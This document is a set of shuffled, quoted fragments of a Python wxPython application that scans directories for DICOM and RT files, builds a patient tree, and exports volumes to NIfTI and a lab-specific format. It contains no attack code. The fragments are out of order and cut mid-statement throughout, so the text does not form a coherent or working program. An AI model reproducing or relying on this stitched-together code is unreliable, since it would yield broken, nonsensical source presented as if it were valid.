"str(series['numimages']) + ' images)' #name = name + numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name,",
"export in self.selected_exports: info = self.tcPatients.GetItemData(export) filearray, series_no = info['filearray'], info['info']['series_number'] basename =",
"studyid, study in patient['studies'].items(): if (studyid == series['study']): modality = series['modality'].partition(' Image Storage')[0]",
"False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable Rx dose controls except on GTK",
"for planid, plan in patient['plans'].items(): name = 'RT Dose not found' baddose =",
"location does not exist. Please select a valid location.\", \"Invalid DICOM Import Location\",",
"modality = series['modality'].partition(' Image Storage')[0] name = 'Series {}: {}. ({}, {} {})'.format(series['series_number'],",
"float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp, model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName",
"to the tree for key, patient in self.patients.items(): patient.update(patients[key]) if 'studies' in patient:",
"not seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo if not 'images' in patients[h]: patients[h]['images']",
"get_mori_header_fields logger.info('Exporting image to %s', mori_fname) header_name = write_mori(image_array, reso, mori_fname, True) with",
"%s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc, 98, 100, 'Export Nifti image completed') def",
"to control placement oddities if not guiutil.IsGtk(): self.EnableRxDose(False) # If a previous search",
"directory search as soon as the panel loads #self.OnDirectorySearch() def OnRescan(self, evt): self.OnDirectorySearch()",
"if (planid == dose['rtplan']): foundplan = True rxdose = None if dose['hasgrid']: if",
"self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self): \"\"\"Tell the directory search thread whether to terminate or",
"= image # Create each RT Structure Set elif dp.ds.Modality in ['RTSTRUCT']: if",
"without Dose Grid (DVH only)' else: name = 'RT Dose without Dose Grid",
"= {} patients[h]['series'] = {} wx.CallAfter(foundFunc, patient) # Create each Study but don't",
"util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'),",
"'ModelName' in field: f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition' in field: f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation'",
"self.export_nii_format: import nibabel as nib logger.info('Exporting image to %s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname)",
"98, 100, 'Export Nifti image completed') def OnConvert(self, evt): if not self.selected_exports: self.AlertDialog('No",
"dlgDicomImporter.output_name json.dump(conf, f, indent=2, sort_keys=True) # Block until the thread is done before",
"= dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient except: logger.error('Get dcm info error!')",
"wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"= evt.IsChecked() def OnCheckNiftiFormat(self, evt): self.export_nii_format = evt.IsChecked() def OnPickOutdir(self, evt): self.output_dir =",
"in field: f.write('{} {}\\r'.format(field,hospital)) elif 'KVP' in field: f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction' in",
"not 'plans' in patients[h]: patients[h]['plans'] = {} plan = dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID()",
"def OnCancel(self, evt): \"\"\"Stop the directory search and close the dialog.\"\"\" self.terminate =",
"the dialog that will Import DICOM and DICOM RT files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\")",
"plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']]",
"self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize the patients",
"patient_data, progressFunc=None): if patient_data is None: return # Existence check if self.export_mori_format: out_dir",
"in patient: for seriesid, series in patient['series'].items(): if 'studies' in patient: for studyid,",
"= 'RT Dose not found' baddose = self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus()",
"True # used for RT structure set if 'series' in item: if (item['series']",
"filearray, plan['rxdose']) # Search for RT Doses if 'doses' in patient: for doseid,",
"filearray) if not foundstructure: # If there is an image series, add a",
"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG))",
"# Initialize controls self.txtDicomImport = XRCCTRL(self, 'txtDicomImport') self.btnDicomImport = XRCCTRL(self, 'btnDicomImport') self.btnPause =",
"seinfo['modality'] = dp.ds.SOPClassUID.name if not seinfo['id'] in patients[h]['series']: patients[h]['series'][seinfo['id']] = seinfo if not",
"the progress function to update the gui wx.CallAfter(progressFunc, n, len(files), 'Searching for patients...')",
"XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show the dialog and return the",
"if terminate(): wx.CallAfter(progressFunc, 0, 0, 'Search terminated.') return if (os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\",",
"in ['RTPLAN']: if not 'plans' in patients[h]: patients[h]['plans'] = {} plan = dp.GetPlan()",
"a wxPython GUI dialog.\"\"\" # Copyright (c) 2018-2020 <NAME> # Copyright (c) 2009-2017",
"= conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir'] XRCCTRL(self,",
"filearray = [structure['filename']] self.EnableItemSelection(patient, structure, filearray) # Search for RT Plans if 'plans'",
"wx.Dialog.__init__(self) def Init(self, res): \"\"\"Method called after the panel has been initialized.\"\"\" #",
"None): \"\"\"Enable an item to be selected in the tree control.\"\"\" # Add",
"series['modality'].partition(' Image Storage')[0] name = 'Series {}: {}. ({}, {} {})'.format(series['series_number'], series['description'], modality,",
"plan in patient['plans'].items(): foundplan = False if (planid == dose['rtplan']): foundplan = True",
"self.tcPatients.AppendItem(patient['treeid'], name, 2) # Search for series and images if 'series' in patient:",
"self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End the dialog since we are",
"'IPP' # Determine if all images in the series are parallel # by",
"plan['id'] = dp.GetSOPInstanceUID() plan['filename'] = files[n] plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams']",
"self.selected_exports = [] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study = self.tcPatients.GetFirstChild(first_patient)[0] child, cookie = self.tcPatients.GetFirstChild(first_study)",
"if the value has changed # during the loop duration if terminate(): wx.CallAfter(progressFunc,",
"files[n] plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID() plan['beams'] = dp.GetReferencedBeamsInFraction() plan['rtss'] = dp.GetReferencedStructureSet()",
"progressFunc=None): if patient_data is None: return # Existence check if self.export_mori_format: out_dir =",
"https://github.com/bastula/dicompyler/ # # It's assumed that the reference (prescription) dose is in cGy.",
"ImagePositionPatient if parallel: sort = 'IPP' else: # Otherwise sort by Instance Number",
"patients[h]['studies'][stinfo['id']] = stinfo # Create each Series of images if (('ImageOrientationPatient' in dp.ds)",
"'rxdose' in parentdata: rxdose = parentdata['rxdose'] # Show the rxdose text box if",
"== 'Importing patient complete.'): self.EndModal(wx.ID_OK) elif (message == 'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL) def",
"= True self.OnDirectorySearch() def OnBrowseDicomImport(self, evt): \"\"\"Get the directory selected by the user.\"\"\"",
"if dose['hasdvh']: name = 'RT Dose with DVH' else: name = 'RT Dose",
"{'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt):",
"when the selected item has changed.\"\"\" item = evt.GetItem() # Disable the rx",
"not 'doses' in patients[h]: patients[h]['doses'] = {} dose = {} dose['id'] = dp.GetSOPInstanceUID()",
"wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"plan['treeid'] = self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray = [plan['filename']] self.EnableItemSelection(patient, plan, filearray,",
"appendImage = False # used for image series if 'id' in item: if",
"== plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure = True # If no",
"the rtss to the study if not foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT",
"valid location.') dlg = wx.MessageDialog( parent, \"The DICOM import location does not exist.",
"in enumerate(sortednums): for i, image in enumerate(images): if (sort == 'IPP'): if (slice",
"XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits') # Bind interface events to the proper",
"kvp, model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation,",
"found else: if 'structures' in patient: for structureid, structure in patient['structures'].items(): if 'plans'",
"self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def EnableRxDose(self, value): \"\"\"Show or hide the prescription dose message.\"\"\"",
"(series['numimages'] == 1) else str(series['numimages']) + ' images)' #name = name + numimages",
"= 'RT Dose with DVH' else: name = 'RT Dose without DVH' else:",
"prescription dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if set to hide, reset",
"self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self): \"\"\"Tell the directory search thread whether to",
"= {} structure = dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID() structure['filename'] = files[n] structure['series'] =",
"no plans were found, add the dose to the structure/study instead if not",
"evt): \"\"\"Get the directory selected by the user.\"\"\" self.terminate = True dlg =",
"Reading DICOM data...' wx.CallAfter(progressFunc, 0, 1, progressStr) wx.CallAfter(resultFunc, patients) # if the path",
"logger.error('Get dcm info error!') seinfo['numimages'] = 0 seinfo['modality'] = dp.ds.SOPClassUID.name if not seinfo['id']",
"if self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname = os.path.join(out_dir,",
"for th in all_export_threads] # wait all threads #self.AlertDialog('All exports finished!') def OnCheckSearchSubfolders(self,",
"self.tcPatients.GetItemData(export) filearray, series_no = info['filearray'], info['info']['series_number'] basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray,",
"== 0): patient = {} patient['rxdose'] = RxDose if (('ImageOrientationPatient' in dp.ds) and",
"planname + \\ ' - Dose: ' + str(rxdose) + ' cGy' if",
"order for s, slice in enumerate(sortednums): for i, image in enumerate(images): if (sort",
"Dose: ' + str(rxdose) + ' cGy' if 'structures' in patient: for structureid,",
"not 'numimages' in item: appendImage = True if appendImage: filearray.append(image['filename']) # Add the",
"parent, path, subfolders, terminate, progressFunc, foundFunc, resultFunc): \"\"\"Thread to start the directory search.\"\"\"",
"= self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\", 7) foundseries = True #",
"= False name = 'RT Structure Set: ' + structure['label'] for seriesid, series",
"DVH' if (dose['summationtype'] == \"BEAM\"): name += \" (Beam \" + str(dose['beam']) +",
"self.lblRxDoseUnits.Show(value) # if set to hide, reset the rx dose if not value:",
"valid output dir!') return if not self.output_name: self.AlertDialog('Please enter valid output file name!')",
"dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose #",
"{}\\r'.format(field,conv_kernel)) elif 'ModelName' in field: f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition' in field: f.write('{} {}\\r'.format(field,pat_pos))",
"if (len(patients) == 0): progressStr = 'Found 0 patients.' elif (len(patients) == 1):",
"for seriesid, series in patient['series'].items(): if 'studies' in patient: for studyid, study in",
"Plan')): self.EnableRxDose(True) def EnableRxDose(self, value): \"\"\"Show or hide the prescription dose message.\"\"\" self.bmpRxDose.Show(value)",
"(images[0].InstanceNumber == \\ images[1].InstanceNumber): sort = 'InstanceNumber' # Otherwise sort by Acquisition Number",
"Structure Sets if 'structures' in patient: for structureid, structure in patient['structures'].items(): if 'series'",
"self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End the dialog since we are done with the import",
"field: f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in field: f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in field:",
"name = str(patient['name']) + ' (' + patient['id'] + ')' self.patients[h]['treeid'] = \\",
"badplan = self.tcPatients.AppendItem( badstructure, \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name,",
"def OnSelectTreeItem(self, evt): \"\"\"Update the interface when the selected item has changed.\"\"\" item",
"#!/usr/bin/env python # -*- coding: utf-8 -*- # dicomgui.py \"\"\"Main app file that",
"Number elif not (images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber): sort = 'AcquisitionNumber' # Add the",
"dp.ds.ImageOrientationPatient except: logger.error('Get dcm info error!') seinfo['numimages'] = 0 seinfo['modality'] = dp.ds.SOPClassUID.name if",
"iop1 = np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 - iop1), dtype=np.int32))): parallel = False break #",
"the thread if the value has changed # during the loop duration if",
"'RT Plan: ' + plan['label'] + planname + \\ ' - Dose: '",
"= ' (' + plan['name'] + ')' if len(plan['name']) else \"\" rxdose =",
"image series if 'id' in item: if (item['id'] == image['series']): appendImage = True",
"if ('hf' in image.PatientPosition.lower()) and (sort == 'IPP'): sortednums = sorted(unsortednums, reverse=True) #",
"{}\\r'.format(field,model_name)) elif 'PatientPosition' in field: f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in field: f.write('{} {}\\r'.format(field,pat_ori))",
"is part of dicompyler, released under a BSD license. # See the file",
"'doses' in patients[h]: patients[h]['doses'] = {} dose = {} dose['id'] = dp.GetSOPInstanceUID() dose['filename']",
"series, add a fake rtss to it foundseries = False for seriesid, series",
"Show the rxdose text box if no rxdose was found # and if",
"dicomparser.DicomParser(files[n]) except (AttributeError, EOFError, IOError, KeyError): pass logger.info(\"%s is not a valid DICOM",
"self.tcPatients.DeleteChildren(self.root) self.terminate = False self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) #self.btnSelect.Enable(False) # Disable Rx dose controls",
"serise_date, acq_date = dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel > 1) or (dp.ds.PhotometricInterpretation ==",
"Bind interface events to the proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders'))",
"os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File",
"dose message and select button by default self.EnableRxDose(False) #self.btnSelect.Enable(False) # If the item",
"self.AlertDialog('Please enter valid output file name!') return if not os.path.isdir(self.output_dir): logger.info(\"Output dir not",
"(c) 2009 <NAME> # This file is part of dicompyler, released under a",
"' patients. Reading DICOM data...' wx.CallAfter(progressFunc, 0, 1, progressStr) wx.CallAfter(resultFunc, patients) # if",
"Acquisition Number elif not (images[0].AcquisitionNumber == \\ images[1].AcquisitionNumber): sort = 'AcquisitionNumber' # Add",
"were found else: if 'structures' in patient: for structureid, structure in patient['structures'].items(): if",
"selected!') return if not self.output_dir: self.AlertDialog('Please enter valid output dir!') return if not",
"'RT Dose without Dose Grid or DVH' if (dose['summationtype'] == \"BEAM\"): name +=",
"minslice_check(child) select(child, flag) else: select(child, minslice_check(child)) child, cookie = self.tcPatients.GetNextChild(child, cookie) logger.info('%d files",
"'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits') # Bind interface events to the proper methods",
"for RT Dose # since some vendors use incorrect StudyInstanceUIDs if not (dp.GetSOPClassUID()",
"== series['study']): modality = series['modality'].partition(' Image Storage')[0] name = 'Series {}: {}. ({},",
"np from dicompylercore import dicomparser from pyDcmConverter import guiutil, util class DcmConverterApp(wx.App): \"\"\"Prepare",
"'Study: ' + study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name, 2) # Search for series",
"name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...', '')) #Added",
"logger.debug('Slices num: %d', len(sortedimages)) patient['images'] = sortedimages wx.CallAfter(progressFunc, 49, 100, msgs[2]) if exportFunc:",
"'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format =",
"# available at https://github.com/bastula/dicompyler/ # # It's assumed that the reference (prescription) dose",
"\\ images[1].AcquisitionNumber): sort = 'AcquisitionNumber' # Add the sort descriptor to a list",
"in field: f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in field: f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation' in",
"if dose['hasdvh']: name = 'RT Dose without Dose Grid (DVH only)' else: name",
"to it foundseries = False for seriesid, series in patient['series'].items(): foundseries = False",
"handle color image!') return if dp.ds.BitsAllocated == 16: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16)",
"XRCCTRL(self, 'lblProgressLabel') self.lblProgress = XRCCTRL(self, 'lblProgress') self.gaugeProgress = XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent = XRCCTRL(self,",
"seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient except: logger.error('Get dcm info error!') seinfo['numimages'] =",
"self.output_dir = '' self.output_name = '' # Set the dialog font and bold",
"= seinfo if not 'images' in patients[h]: patients[h]['images'] = {} image = {}",
"self.import_search_subfolders = True # Set the threading termination status to false intially self.terminate",
"self.contiune_export = dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp): di = float(dp.ds.PixelSpacing[0]) dj = float(dp.ds.PixelSpacing[1])",
"as np from dicompylercore import dicomparser from pyDcmConverter import guiutil, util class DcmConverterApp(wx.App):",
"by CL.Wang self.Check_Export_Files() def Check_Export_Files(self): def select(child, flag): if flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child)",
"'rtss' in dose: if (structureid == dose['rtss']): foundstructure = True if (structure['referenceframe'] ==",
"files selected!', len(self.selected_exports)) def EnableItemSelection(self, patient, item, filearray = [], rxdose = None):",
"for series and images if 'series' in patient: for seriesid, series in patient['series'].items():",
"evt.GetPosition() def OnCheckVolFlag(self, evt): self.only_export_voldata = evt.IsChecked() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor",
"= True # If no structures were found, add the plan to the",
"i, item in enumerate(images): if (i > 0): iop0 = np.array(item.ImageOrientationPatient) iop1 =",
"= dp.ds.ImageOrientationPatient except: logger.error('Get dcm info error!') seinfo['numimages'] = 0 seinfo['modality'] = dp.ds.SOPClassUID.name",
"= self.tcPatients.GetItemText(child) flag = 'vol' in title.lower() and minslice_check(child) select(child, flag) else: select(child,",
"dialog and return the result ret = dlgDicomImporter.ShowModal() # Save configure conf =",
"is not valid, display an error message else: wx.CallAfter(progressFunc, 0, 0, 'Select a",
"foundseries = False for seriesid, series in patient['series'].items(): foundseries = False if (series['referenceframe']",
"Dose Grid or DVH' foundstructure = False if 'structures' in patient: for structureid,",
"evt.GetPosition() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def OnCheckMoriFormat(self, evt):",
"if self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname = os.path.join(out_dir,",
"guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font)",
"(len(patients) == 0): progressStr = 'Found 0 patients.' elif (len(patients) == 1): progressStr",
"under a BSD license. # See the file license.txt included with this distribution,",
"the path is not valid, display an error message else: wx.CallAfter(progressFunc, 0, 0,",
"tree for key, patient in self.patients.items(): patient.update(patients[key]) if 'studies' in patient: for studyid,",
"the DICOM importer dialog.\"\"\" msgs = ['Scanning patient. Please wait...','Exporting patient cancelled.','Exporting patient...']",
"dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose # Otherwise it is a currently unsupported",
"ChoiceDialog(self, msg): dialog = wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal() dialog.Destroy() def",
"if not 'studies' in patients[h]: patients[h]['studies'] = {} patients[h]['series'] = {} wx.CallAfter(foundFunc, patient)",
"False if (structureid == plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name, 5) foundstructure = True",
"'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt): \"\"\"Update the interface when the",
"Number if not (images[0].InstanceNumber == \\ images[1].InstanceNumber): sort = 'InstanceNumber' # Otherwise sort",
"dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name json.dump(conf, f, indent=2,",
"field in origin_header_lines: # \\r\\n if 'Thickness' in field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin'",
"['Scanning patient. Please wait...','Exporting patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1, 100, msgs[0]) for n",
"self.offset image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image array...') image_array = np.transpose(image_array,",
"True # If no structures were found, add the plan to the study/series",
"0], [float(orientation[2])*di, float(orientation[5])*dj, dk, 0], [0, 0, 0, 1]], dtype=np.float) return m def",
"wx.CallAfter(resultFunc, patients) # if the path is not valid, display an error message",
"directory search and close the dialog.\"\"\" self.terminate = True super().OnCancel(evt) def main(): app",
"iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"placement oddities if not guiutil.IsGtk(): self.EnableRxDose(False) # If a previous search thread exists,",
"3) self.EnableItemSelection(patient, series, []) # Search for RT Structure Sets if 'structures' in",
"if not (parentdata == None): if 'rxdose' in parentdata: rxdose = parentdata['rxdose'] #",
"use.\"\"\" iSize = (16,16) iList = wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"by CL.Wang seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing'] =",
"series['numimages']==1 else 'images') #name = 'Series: ' + series['description'] + ' (' +",
"if (structureid == plan['rtss']): filearray.append(structure['filename']) # Add the respective rtplan files to the",
"enumerate(images): if (sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) # Sort in LPI order!",
"until the thread is done before destroying the dialog if dlgDicomImporter: if hasattr(dlgDicomImporter,",
"font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font)",
"item: if (planid == item['rtplan']): filearray.append(plan['filename']) if not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else:",
"self.AlertDialog('Please enter valid output dir!') return if not self.output_name: self.AlertDialog('Please enter valid output",
"id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan'))",
"referenced rtss, but ref'd rtplan, check rtplan->rtss if 'rtplan' in item: if 'plans'",
"\"\"\"Method called after the panel has been initialized.\"\"\" # Set window icon if",
"structure in patient['structures'].items(): if 'series' in patient: foundseries = False name = 'RT",
"self.terminate = True super().OnCancel(evt) def main(): app = DcmConverterApp(0) app.MainLoop() if __name__ ==",
"wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"if self.export_nii_format: import nibabel as nib logger.info('Exporting image to %s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine),",
"wait all threads #self.AlertDialog('All exports finished!') def OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether to search",
"= dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID() plan['filename'] = files[n] plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe'] =",
"conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name json.dump(conf,",
"a sort descriptor: # (ImagePositionPatient, InstanceNumber or AcquisitionNumber) if 'images' in patient: sortedimages",
"'Thickness' in field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd'",
"= dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan # Create each RT Dose elif dp.ds.Modality in",
"def OnCheckMoriFormat(self, evt): self.export_mori_format = evt.IsChecked() def OnCheckNiftiFormat(self, evt): self.export_nii_format = evt.IsChecked() def",
"in item: appendImage = True if appendImage: filearray.append(image['filename']) # Add the respective rtss",
"Reading DICOM data...', '')) #Added by CL.Wang self.Check_Export_Files() def Check_Export_Files(self): def select(child, flag):",
"'numimages' in item: appendImage = True if appendImage: filearray.append(image['filename']) # Add the respective",
"self.tcPatients.GetItemText(child) flag = 'vol' in title.lower() and minslice_check(child) select(child, flag) else: select(child, minslice_check(child))",
